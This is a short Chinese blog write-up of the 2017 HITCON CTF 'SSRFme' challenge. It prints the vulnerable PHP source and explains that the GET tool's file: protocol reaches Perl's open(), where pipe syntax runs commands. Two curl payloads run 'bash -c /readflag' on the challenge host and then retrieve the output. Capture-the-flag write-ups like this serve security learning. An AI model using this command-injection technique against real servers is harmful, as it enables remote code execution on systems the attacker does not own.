2017_HITCON-CTF-SSRFme

题目源码:

<?php 
 $sandbox = "sandbox/" . md5("orange" .$_SERVER["REMOTE_ADDR"]); 
 @mkdir($sandbox); 
 @chdir($sandbox); 
 $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
 $info = pathinfo($_GET["filename"]); 
 $dir  = str_replace(".", "", basename($info["dirname"])); 
 @mkdir($dir); 
 @chdir($dir); 
 @file_put_contents(basename($info["basename"]), $data); 
 highlight_file(__FILE__); 


perl在open当中可以执行命令,如:

open(FD, "ls|")或open(FD, "|ls")

都可以执行ls命令,而GET是在perl下执行的,当GET使用file协议的时候就会调用到perl的open函数,这就是我们要利用的点,


image.png

payload

curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=/xx' > /dev/null
curl 'http://13.115.136.15/sandbox/f0a42db72ab289fd33e24107424a2f9a/xx/'
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容